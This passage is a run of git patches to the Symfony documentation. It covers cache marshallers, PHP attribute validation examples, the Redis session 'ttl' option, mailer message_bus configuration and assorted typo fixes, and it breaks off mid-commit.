diff --git a/components/cache.rst b/components/cache.rst
index a620206682f..35002831be8 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -192,6 +192,25 @@ Now you can create, retrieve, update and delete items using this cache pool::
 
 For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`.
 
+Serializing Data
+----------------
+
+When an item is stored in the cache, it is serialised to a string. It is a class
+implementing :class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`
+that is responsible for serializing and unserializing. Or to be technically correct:
+to ``marshall()`` and to ``unmarshall()``.
+
+The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` is using PHP's
+``serialize()`` or ``igbinary_serialize()`` if the Igbinary extension is installed.
+There are other marshallers that will encrypt or compress the data before storing it::
+
+    use Symfony\Component\Cache\Adapter\RedisAdapter;
+    use Symfony\Component\Cache\DefaultMarshaller;
+    use Symfony\Component\Cache\DeflateMarshaller;
+
+    $marshaller = new DeflateMarshaller(new DefaultMarshaller());
+    $cache = new RedisAdapter(new \Redis(), 'namespace', 0, $marshaller);
+
 Advanced Usage
 --------------
 

From 90ce1b2040cd92c02bade2adf1a8edbaf923e3d3 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 5 Mar 2021 13:09:24 +0100
Subject: [PATCH 1920/7107] Updates

---
 components/cache.rst | 30 +++++++++++++++++++++---------
 1 file changed, 21 insertions(+), 9 deletions(-)

diff --git a/components/cache.rst b/components/cache.rst
index 35002831be8..16c1f8a7691 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -192,17 +192,26 @@ Now you can create, retrieve, update and delete items using this cache pool::
 
 For a list of all of the supported adapters, see :doc:`/components/cache/cache_pools`.
 
-Serializing Data
-----------------
+Marshalling (Serializing) Data
+------------------------------
 
-When an item is stored in the cache, it is serialised to a string. It is a class
-implementing :class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`
-that is responsible for serializing and unserializing. Or to be technically correct:
-to ``marshall()`` and to ``unmarshall()``.
+.. note::
+
+    `Marshalling`_ and `serializing`_ are similar concepts. Serializing is the
+    process of translating an object state into a format that can be stored
+    (e.g. in a file). Marshalling is the process of translating both the object
+    state and its codebase into a format that can be stored or transmitted.
+
+    Unmarshalling an object produces a copy of the original object, possibly by
+    automatically loading the class definitions of the object.
+
+Symfony uses *marshallers* (classes which implement
+:class:`Symfony\\Component\\Cache\\Marshaller\\MarshallerInterface`) to process
+the cache items before storing them.
 
-The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` is using PHP's
-``serialize()`` or ``igbinary_serialize()`` if the Igbinary extension is installed.
-There are other marshallers that will encrypt or compress the data before storing it::
+The :class:`Symfony\\Component\\Cache\\Marshaller\\DefaultMarshaller` uses PHP's
+``serialize()`` or ``igbinary_serialize()`` if the `Igbinary extension`_ is installed.
+There are other *marshallers* that can encrypt or compress the data before storing it::
 
     use Symfony\Component\Cache\Adapter\RedisAdapter;
     use Symfony\Component\Cache\DefaultMarshaller;
@@ -224,3 +233,6 @@ Advanced Usage
 .. _`Cache Contracts`: https://github.com/symfony/contracts/blob/master/Cache/CacheInterface.php
 .. _`Stampede prevention`: https://en.wikipedia.org/wiki/Cache_stampede
 .. _Probabilistic early expiration: https://en.wikipedia.org/wiki/Cache_stampede#Probabilistic_early_expiration
+.. _`Marshalling`: https://en.wikipedia.org/wiki/Marshalling_(computer_science)
+.. _`serializing`: https://en.wikipedia.org/wiki/Serialization
+.. _`Igbinary extension`: https://github.com/igbinary/igbinary

From 8a2e8d77bc4442e02dad895e1b63226968f586cf Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Mar 2021 09:47:47 +0100
Subject: [PATCH 1921/7107] [Validator] Add PHP Attributes to validation groups

---
 validation/groups.rst            | 21 +++++++++++
 validation/sequence_provider.rst | 65 +++++++++++++++++++++++++++++++-
 2 files changed, 84 insertions(+), 2 deletions(-)

diff --git a/validation/groups.rst b/validation/groups.rst
index 7681f583a08..70dcc975655 100644
--- a/validation/groups.rst
+++ b/validation/groups.rst
@@ -42,6 +42,27 @@ user registers and when a user updates their contact information later:
             private $city;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User implements UserInterface
+        {
+            #[Assert\Email(groups: ['registration'])]
+            private $email;
+
+            #[Assert\NotBlank(groups: ['registration'])]
+            #[Assert\Length(min: 7, groups: ['registration'])]
+            private $password;
+
+            #[Assert\Length(min: 2)]
+            private $city;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
diff --git a/validation/sequence_provider.rst b/validation/sequence_provider.rst
index 503c50f67e5..699711b661d 100644
--- a/validation/sequence_provider.rst
+++ b/validation/sequence_provider.rst
@@ -47,6 +47,33 @@ username and the password are different only if all other validation passes
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Security\Core\User\UserInterface;
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        #[Assert\GroupSequence(['User', 'Strict'])]
+        class User implements UserInterface
+        {
+            #[Assert\NotBlank]
+            private $username;
+
+            #[Assert\NotBlank]
+            private $password;
+
+            #[Assert\IsTrue(
+                message: 'The password cannot match your username',
+                groups: ['Strict'],
+            )]
+            public function isPasswordSafe()
+            {
+                return ($this->username !== $this->password);
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -151,7 +178,7 @@ You can also define a group sequence in the ``validation_groups`` form option::
 
     // src/Form/MyType.php
     namespace App\Form;
-    
+
     use Symfony\Component\Form\AbstractType;
     use Symfony\Component\OptionsResolver\OptionsResolver;
     use Symfony\Component\Validator\Constraints\GroupSequence;
@@ -204,6 +231,27 @@ entity and a new constraint group called ``Premium``:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class User
+        {
+            #[Assert\NotBlank]
+            private $name;
+
+            #[Assert\CardScheme(
+                schemes: [Assert\CardScheme::VISA],
+                groups: ['Premium'],
+            )]
+            private $creditCard;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -263,7 +311,7 @@ entity and a new constraint group called ``Premium``:
             {
                 $metadata->addPropertyConstraint('name', new Assert\NotBlank());
                 $metadata->addPropertyConstraint('creditCard', new Assert\CardScheme([
-                    'schemes' => ['VISA'],
+                    'schemes' => [Assert\CardScheme::VISA],
                     'groups'  => ['Premium'],
                 ]));
             }
@@ -319,6 +367,19 @@ provides a sequence of groups to be validated:
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/User.php
+        namespace App\Entity;
+
+        // ...
+
+        #[Assert\GroupSequenceProvider]
+        class User implements GroupSequenceProviderInterface
+        {
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From 72fcddd507da0b2f21cfa384182273ccdcef152e Mon Sep 17 00:00:00 2001
From: Wojciech Kania <wojciech.kania@gmail.com>
Date: Sat, 6 Mar 2021 14:15:39 +0100
Subject: [PATCH 1922/7107] [Validator] Add PHP Attributes to validation page

---
 validation.rst | 80 ++++++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 80 insertions(+)

diff --git a/validation.rst b/validation.rst
index b0b74525734..0ad5a3108ec 100644
--- a/validation.rst
+++ b/validation.rst
@@ -68,6 +68,20 @@ following:
             private $name;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            private $name;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -351,6 +365,25 @@ literature genre mostly associated with the author, which can be set to either
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(
+                choices: ['fiction', 'non-fiction'],
+                message: 'Choose a valid genre.',
+            )]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -437,6 +470,22 @@ options can be specified in this way.
             // ...
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\Choice(['fiction', 'non-fiction'])]
+            private $genre;
+
+            // ...
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -559,6 +608,20 @@ class to have at least 3 characters.
             private $firstName;
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\NotBlank]
+            #[Assert\Length(min: 3)]
+            private $firstName;
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml
@@ -655,6 +718,23 @@ this method must return ``true``:
             }
         }
 
+    .. code-block:: php-attributes
+
+        // src/Entity/Author.php
+        namespace App\Entity;
+
+        // ...
+        use Symfony\Component\Validator\Constraints as Assert;
+
+        class Author
+        {
+            #[Assert\IsTrue(message: 'The password cannot match your first name')]
+            public function isPasswordSafe()
+            {
+                // ... return true or false
+            }
+        }
+
     .. code-block:: yaml
 
         # config/validator/validation.yaml

From d1190fcfafecb4ee29f8a59fa77210a0b9822799 Mon Sep 17 00:00:00 2001
From: William Pinaud <thedocrepinsfx@gmail.com>
Date: Sat, 6 Mar 2021 15:51:38 +0100
Subject: [PATCH 1923/7107] Added doc and defaults for missing 'ttl' option in
 config

Hi, this might need validation, but I stumbled upon a difference between what the doc says (4.4+) and what's in https://github.com/symfony/http-foundation/blob/5.x/Session/Storage/Handler/RedisSessionHandler.php.

I think the 'ttl' option is unexplained and undocumented since it was added in 2019: https://github.com/symfony/http-foundation/commit/0c5217a9050712a1e66f851d04962abf8f2c6fc4
---
 session/database.rst | 19 +++++++++++--------
 1 file changed, 11 insertions(+), 8 deletions(-)

diff --git a/session/database.rst b/session/database.rst
index a0fb1b3d4a6..f7a5b002dbb 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -89,9 +89,10 @@ and ``RedisProxy``:
             Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler:
                 arguments:
                     - '@Redis'
-                    # you can optionally pass an array of options. The only option is 'prefix',
-                    # which defines the prefix to use for the keys to avoid collision on the Redis server
-                    # - { prefix: 'my_prefix' }
+                    # you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                    # which define the prefix to use for the keys to avoid collision on the Redis server 
+                    # and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                    # - { 'prefix' => 'my_prefix', 'ttl' => 600 }
 
     .. code-block:: xml
 
@@ -99,8 +100,9 @@ and ``RedisProxy``:
         <services>
             <service id="Symfony\Component\HttpFoundation\Session\Storage\Handler\RedisSessionHandler">
                 <argument type="service" id="Redis"/>
-                <!-- you can optionally pass an array of options. The only option is 'prefix',
-                     which defines the prefix to use for the keys to avoid collision on the Redis server:
+                <!-- you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                     which define the prefix to use for the keys to avoid collision on the Redis server 
+                     and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
                 <argument type="collection">
                     <argument key="prefix">my_prefix</argument>
                 </argument> -->
@@ -116,9 +118,10 @@ and ``RedisProxy``:
             ->register(RedisSessionHandler::class)
             ->addArgument(
                 new Reference('Redis'),
-                // you can optionally pass an array of options. The only option is 'prefix',
-                // which defines the prefix to use for the keys to avoid collision on the Redis server:
-                // ['prefix' => 'my_prefix'],
+                // you can optionally pass an array of options. The only options are 'prefix' and 'ttl',
+                // which define the prefix to use for the keys to avoid collision on the Redis server 
+                // and the expiration time for any given entry (in seconds), defaults are 'sf_s' and null:
+                // ['prefix' => 'my_prefix', 'ttl' => 600],
             );
 
 Next, use the :ref:`handler_id <config-framework-session-handler-id>`

From b5adc53d63bc0104ae25466c38aa4ea2be77ac3e Mon Sep 17 00:00:00 2001
From: Samuel NELA <hello@samnela.com>
Date: Sat, 6 Mar 2021 23:40:02 +0100
Subject: [PATCH 1924/7107] [Uid] Fix typos

---
 components/uid.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/components/uid.rst b/components/uid.rst
index 366ad1bcec6..6a73666f511 100644
--- a/components/uid.rst
+++ b/components/uid.rst
@@ -186,7 +186,7 @@ of the UUID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'uuid' as the third argument to tell Doctrine that this is an UUID
+                // add 'uuid' as the third argument to tell Doctrine that this is a UUID
                 ->setParameter('user', $user->getUuid(), 'uuid')
 
                 // alternatively, you can convert it to a value compatible with
@@ -333,7 +333,7 @@ of the ULID parameters::
         {
             $qb = $this->createQueryBuilder('p')
                 // ...
-                // add 'ulid' as the third argument to tell Doctrine that this is an ULID
+                // add 'ulid' as the third argument to tell Doctrine that this is a ULID
                 ->setParameter('user', $user->getUlid(), 'ulid')
 
                 // alternatively, you can convert it to a value compatible with

From 070c9bb8781d956ba645442e1b71781a79e51044 Mon Sep 17 00:00:00 2001
From: Massimiliano Arione <garakkio@gmail.com>
Date: Sun, 7 Mar 2021 11:20:51 +0100
Subject: [PATCH 1925/7107] add a warning about object as extra parameter in
 route

---
 routing.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/routing.rst b/routing.rst
index 86defd2bafc..7c852af98da 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1880,6 +1880,14 @@ use the ``generateUrl()`` helper::
         // the 'blog' route only defines the 'page' parameter; the generated URL is:
         // /blog/2?category=Symfony
 
+.. caution::
+
+    While objects are converted to string when used as placeholders, they are not
+    converted when used as extra parameters. So, if you're passing an object (e.g. an Uuid)
+    as value of an extra parameter, you need to explictly convert it to a string::
+
+        $this->generateUrl('blog', ['uuid' => (string) $entity->getUuid())]
+
 If your controller does not extend from ``AbstractController``, you'll need to
 :ref:`fetch services in your controller <controller-accessing-services>` and
 follow the instructions of the next section.

From db79f2a9e6f0ce0d4c485fe21df43fdc68470990 Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 7 Mar 2021 11:23:33 +0100
Subject: [PATCH 1926/7107] [Framework] Fix reference to default_path

---
 reference/configuration/framework.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index 246726e820c..ada92f8f25e 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -2223,7 +2223,7 @@ paths
 This option allows to define an array of paths where the component will look
 for translation files. The later a path is added, the more priority it has
 (translations from later paths overwrite earlier ones). Translations from the
-`default_path <reference-translator-default_path>` have more priority than
+:ref:`default_path <reference-translator-default_path>` have more priority than
 translations from all these paths.
 
 .. _reference-translator-default_path:

From a4063c413d398f48e88356c3fd7f27d338b02f9b Mon Sep 17 00:00:00 2001
From: Sebastian Paczkowski <74934099+sebpacz@users.noreply.github.com>
Date: Sun, 7 Mar 2021 11:39:39 +0100
Subject: [PATCH 1927/7107] [Translation] Fix link to Translatable Extension
 documentation

The site http://atlantic18.github.io/DoctrineExtensions/ returns 404.
---
 translation.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/translation.rst b/translation.rst
index 4a0137b94d8..0e1601cc536 100644
--- a/translation.rst
+++ b/translation.rst
@@ -610,5 +610,5 @@ Learn more
 .. _`ICU MessageFormat`: https://unicode-org.github.io/icu/userguide/format_parse/messages/
 .. _`ISO 3166-1 alpha-2`: https://en.wikipedia.org/wiki/ISO_3166-1#Current_codes
 .. _`ISO 639-1`: https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes
-.. _`Translatable Extension`: http://atlantic18.github.io/DoctrineExtensions/doc/translatable.html
+.. _`Translatable Extension`: https://github.com/doctrine-extensions/DoctrineExtensions/blob/main/doc/translatable.md
 .. _`Translatable Behavior`: https://github.com/KnpLabs/DoctrineBehaviors

From eba011912bd32de759dc4a6569bacdbe53701f39 Mon Sep 17 00:00:00 2001
From: Chris Maiden <chrispmaiden@gmail.com>
Date: Sun, 7 Mar 2021 13:54:03 +0000
Subject: [PATCH 1928/7107] Fix typo

---
 configuration/secrets.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index bb89c67258f..15f4d194f5b 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -212,9 +212,9 @@ Listing the secrets will now also display the local variable:
       DATABASE_PASSWORD   "dev value"   "root"
      ------------------- ------------- -------------
 
-Symfony also provides the ``secrets:decrypt-to-local`` command to decrypts
-all secrets and stores them in the local vault and ``secrets:encrypt-from-local``
-to encrypt all local secrets to the vault.
+Symfony also provides the ``secrets:decrypt-to-local`` command which decrypts
+all secrets and stores them in the local vault and the ``secrets:encrypt-from-local``
+command to encrypt all local secrets to the vault.
 
 Secrets in the test Environment
 -------------------------------

From 5f26782afe95e6ef9912b57899222142a5ddc658 Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 9 Mar 2021 11:05:00 +0100
Subject: [PATCH 1929/7107] [PropertyAccess] fix the component name

---
 reference/forms/types/entity.rst | 2 +-
 serializer/normalizers.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/reference/forms/types/entity.rst b/reference/forms/types/entity.rst
index 21183ad4e57..cf245c2c275 100644
--- a/reference/forms/types/entity.rst
+++ b/reference/forms/types/entity.rst
@@ -182,7 +182,7 @@ more details, see the main :ref:`choice_label <reference-form-choice-label>` doc
 
     When passing a string, the ``choice_label`` option is a property path. So you
     can use anything supported by the
-    :doc:`PropertyAccessor component </components/property_access>`
+    :doc:`PropertyAccess component </components/property_access>`
 
     For example, if the translations property is actually an associative
     array of objects, each with a ``name`` property, then you could do this::
diff --git a/serializer/normalizers.rst b/serializer/normalizers.rst
index 5aef4568dc6..af30532e48a 100644
--- a/serializer/normalizers.rst
+++ b/serializer/normalizers.rst
@@ -25,7 +25,7 @@ Symfony includes the following normalizers but you can also
 :doc:`create your own normalizer </serializer/custom_normalizer>`:
 
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer` to
-  normalize PHP object using the :doc:`PropertyAccessor component </components/property_access>`;
+  normalize PHP object using the :doc:`PropertyAccess component </components/property_access>`;
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
   for :phpclass:`DateTimeZone` objects
 * :class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer` for

From c5101c7d2b0ec56444bd35dd76c3019ab674fc5d Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 9 Mar 2021 11:09:09 +0100
Subject: [PATCH 1930/7107] [PropertyAccess] use bitwise instead of boolean
 flags

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index a1ae83ab406..fdb678c1c3e 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -435,7 +435,7 @@ Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`
 
     $list = new PeopleList();
     $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
-    $propertyAccessor = new PropertyAccessor(false, false, null, true, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, false, null, true, $reflectionExtractor, $reflectionExtractor);
     $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
 
     var_dump($person->getPeoples()); // ['kevin', 'wouter']

From 97a164daa87d81ede8e5f954a32d1af52f0c2408 Mon Sep 17 00:00:00 2001
From: mostefamed <mostefa.medjahed.pro@gmail.com>
Date: Tue, 9 Mar 2021 11:17:02 +0100
Subject: [PATCH 1931/7107] Fix the matched path value

During the test of the example, I didn't get the expected result when calling /blog
---
 routing.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/routing.rst b/routing.rst
index 86defd2bafc..3fc50a8f5d7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -1264,7 +1264,7 @@ the common configuration using options when importing the routes.
     was introduced in Symfony 4.4.
 
 In this example, the route of the ``index()`` action will be called ``blog_index``
-and its URL will be ``/blog/``. The route of the ``show()`` action will be called
+and its URL will be ``/blog/{_locale}``. The route of the ``show()`` action will be called
 ``blog_show`` and its URL will be ``/blog/{_locale}/posts/{slug}``. Both routes
 will also validate that the ``_locale`` parameter matches the regular expression
 defined in the class annotation.

From a9cb63d242d7047c226cf2431ed1a407fbf84d0a Mon Sep 17 00:00:00 2001
From: Christian Flothmann <christian.flothmann@qossmic.com>
Date: Tue, 9 Mar 2021 11:03:50 +0100
Subject: [PATCH 1932/7107] =?UTF-8?q?[PropertyAccess]=C2=A0do=20not=20pass?=
 =?UTF-8?q?=20boolean=20constructor=20flags?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 components/property_access.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/components/property_access.rst b/components/property_access.rst
index fdb678c1c3e..9d3f4e355fc 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -435,7 +435,7 @@ Sometimes, adder and remover methods don't use the standard ``add`` or ``remove`
 
     $list = new PeopleList();
     $reflectionExtractor = new ReflectionExtractor(null, null, ['join', 'leave']);
-    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, false, null, true, $reflectionExtractor, $reflectionExtractor);
+    $propertyAccessor = new PropertyAccessor(PropertyAccessor::DISALLOW_MAGIC_METHODS, PropertyAccessor::THROW_ON_INVALID_PROPERTY_PATH, null, $reflectionExtractor, $reflectionExtractor);
     $propertyAccessor->setValue($person, 'peoples', ['kevin', 'wouter']);
 
     var_dump($person->getPeoples()); // ['kevin', 'wouter']

From 607eb2599d09cb3f34f98af79dbcc08ee000e3c1 Mon Sep 17 00:00:00 2001
From: Rob Meijer <profusion@gmail.com>
Date: Tue, 9 Mar 2021 19:44:35 +0000
Subject: [PATCH 1933/7107] [Rate Limiter] Typo in Rate Limiter Status example

---
 rate_limiter.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/rate_limiter.rst b/rate_limiter.rst
index 99617f20d59..6982f88cae4 100644
--- a/rate_limiter.rst
+++ b/rate_limiter.rst
@@ -293,7 +293,7 @@ the :class:`Symfony\\Component\\RateLimiter\\Reservation` object returned by the
 
             // ...
 
-            $reponse = new Response('...');
+            $response = new Response('...');
             $response->headers->add($headers);
 
             return $response;

From ad8330b010dd87a6b869cb2a219f68b58a43a22c Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <antoine.makdessi@agriconomie.com>
Date: Wed, 10 Mar 2021 15:32:53 +0100
Subject: [PATCH 1934/7107] [Workflow] fix PHP config

---
 workflow/dumping-workflows.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d1749603155..1611082c6f4 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -241,8 +241,8 @@ Below is the configuration for the pull request state machine with styling added
                 'pull_request' => [
                     'type' => 'state_machine',
                     'marking_store' => [
-                        type: 'method',
-                        property: 'currentPlace',
+                        'type' => 'method',
+                        'property' => 'currentPlace',
                     ],
                     'supports' => ['App\Entity\PullRequest'],
                     'initial_marking' => 'start',

From 95ca723c985cb5db4e52a6b394aa7e0b818b1836 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 11 Mar 2021 13:12:02 +0100
Subject: [PATCH 1935/7107] Minor: Sort alphabetically

---
 mailer.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/mailer.rst b/mailer.rst
index 08a10c59e03..7cef0ee2668 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1206,9 +1206,9 @@ If your transport does not support tags and metadata, they will be added as cust
 
 The following transports currently support tags and metadata:
 
-* Postmark
-* Mailgun
 * MailChimp
+* Mailgun
+* Postmark
 * Sendinblue
 
 Development & Debugging

From 2d924e8363900bf0a2b0f6be2604696472e6db9f Mon Sep 17 00:00:00 2001
From: Thibault RICHARD <thibault@widop.com>
Date: Sun, 28 Feb 2021 23:25:47 +0100
Subject: [PATCH 1936/7107] [Mailer] Configuration of the message_bus to use

---
 mailer.rst | 46 ++++++++++++++++++++++++++++++++++++++++++++++
 1 file changed, 46 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 9c9c1451add..39f2cb42081 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1094,6 +1094,52 @@ you have a transport called ``async``, you can route the message there:
 Thanks to this, instead of being delivered immediately, messages will be sent to
 the transport to be handled later (see :ref:`messenger-worker`).
 
+You can configure which bus is used to dispatch the message using the ``message_bus`` option.
+You can also set this to ``false`` to call the Mailer transport directly and
+disable asynchronous delivery.
+
+.. configuration-block::
+
+    .. code-block:: yaml
+
+        # config/packages/mailer.yaml
+        framework:
+            mailer:
+                message_bus: app.another_bus
+
+    .. code-block:: xml
+
+        <!-- config/packages/messenger.xml -->
+        <?xml version="1.0" encoding="UTF-8" ?>
+        <container xmlns="http://symfony.com/schema/dic/services"
+            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
+            xmlns:framework="http://symfony.com/schema/dic/symfony"
+            xsi:schemaLocation="http://symfony.com/schema/dic/services
+                https://symfony.com/schema/dic/services/services-1.0.xsd
+                http://symfony.com/schema/dic/symfony
+                https://symfony.com/schema/dic/symfony/symfony-1.0.xsd">
+
+            <framework:config>
+                <framework:mailer
+                    message_bus="app.another_bus"
+                >
+                </framework:mailer>
+            </framework:config>
+        </container>
+
+    .. code-block:: php
+
+        // config/packages/mailer.php
+        $container->loadFromExtension('framework', [
+            'mailer' => [
+                'message_bus' => 'app.another_bus',
+            ],
+        ]);
+
+.. versionadded:: 5.1
+
+    The `message_bus` option was introduced in Symfony 5.1.
+
 Adding Tags and Metadata to Emails
 ----------------------------------
 

From 1b476a17e54a229bda2ade9732471aa2d1e78978 Mon Sep 17 00:00:00 2001
From: Oskar Stark <oskarstark@googlemail.com>
Date: Thu, 11 Mar 2021 14:06:48 +0100
Subject: [PATCH 1937/7107] minor

---
 mailer.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mailer.rst b/mailer.rst
index c25a4246eb1..8f98d9b766f 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1218,7 +1218,7 @@ disable asynchronous delivery.
 
 .. versionadded:: 5.1
 
-    The `message_bus` option was introduced in Symfony 5.1.
+    The ``message_bus`` option was introduced in Symfony 5.1.
 
 Adding Tags and Metadata to Emails
 ----------------------------------

From d59c1c8fdcdff10bc2b2cbd99a73d04261e79d93 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 Mar 2021 00:00:46 +0100
Subject: [PATCH 1938/7107] Update debug.rst

---
 reference/configuration/debug.rst | 7 ++++---
 1 file changed, 4 insertions(+), 3 deletions(-)

diff --git a/reference/configuration/debug.rst b/reference/configuration/debug.rst
index 86aed3b7ba6..33a6c656537 100644
--- a/reference/configuration/debug.rst
+++ b/reference/configuration/debug.rst
@@ -67,9 +67,10 @@ dump_destination
 
 Configures the output destination of the dumps.
 
-By default, the dumps are shown in the toolbar. Since this is not always
-possible (e.g. when working on a JSON API), you can have an alternate output
-destination for dumps. Typically, you would set this to ``php://stderr``:
+By default, dumps are shown in the WebDebugToolbar when returning HTML.
+Since this is not always possible (e.g. when working on a JSON API),
+you can have an alternate output destination for dumps.
+Typically, you would set this to ``php://stderr``:
 
 .. configuration-block::
 

From ce6cdbe33c5f01b36a2486fdfb649bc8e6bf48e2 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 Mar 2021 00:06:40 +0100
Subject: [PATCH 1939/7107] Update kernel.rst

---
 reference/configuration/kernel.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/reference/configuration/kernel.rst b/reference/configuration/kernel.rst
index 6b0ac4279ad..5cb1f8ea781 100644
--- a/reference/configuration/kernel.rst
+++ b/reference/configuration/kernel.rst
@@ -5,7 +5,7 @@ Configuring in the Kernel
 =========================
 
 Some configuration can be done on the kernel class itself (located by default at
-``src/Kernel.php``). You can do this by overriding specific methods in
+``src/Kernel.php``). You can do this by overriding specific methods of
 the parent :class:`Symfony\\Component\\HttpKernel\\Kernel` class.
 
 Configuration

From 1ad9effde7927b35af83c1fb3b6981c65308fee9 Mon Sep 17 00:00:00 2001
From: Antoine Makdessi <amakdessi@me.com>
Date: Fri, 12 Mar 2021 00:15:50 +0100
Subject: [PATCH 1940/7107] Update events.rst

---
 reference/events.rst | 5 +++--
 1 file changed, 3 insertions(+), 2 deletions(-)

diff --git a/reference/events.rst b/reference/events.rst
index 900d40eb12c..c55bfdcc824 100644
--- a/reference/events.rst
+++ b/reference/events.rst
@@ -1,10 +1,11 @@
 Built-in Symfony Events
 =======================
 
-During the handling of an HTTP request, the Symfony framework (or any
